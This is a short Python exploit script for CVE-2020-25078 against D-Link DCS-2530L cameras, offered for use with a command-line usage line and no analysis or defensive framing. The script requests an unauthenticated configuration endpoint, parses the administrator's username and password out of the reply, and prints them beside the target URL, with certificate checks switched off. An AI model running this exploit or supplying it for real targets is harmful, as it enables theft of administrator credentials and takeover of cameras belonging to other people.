CVE-2020-25078.py

DCS-2530L Leaked admin

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import sys
def exploit(url):
        vuln = url + '/config/getuser?index=0'
        r = requests.get(vuln, verify=False, timeout=5)
        if r.status_code == 200 and 'priv=1' in r.text:
                user = r.text.split('name=')[1].split('\r\npass')[0]
                pwd = r.text.split('\r\npass=')[1].split('\r\npriv')[0]
                total = '{URL} | {USR}:{PWD}'.format(URL=url, USR=user, PWD=pwd)
                print(total.replace('\n', ''))
try:
        exploit(sys.argv[1])
except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
        pass
#python CVE-2020-25078.py <host>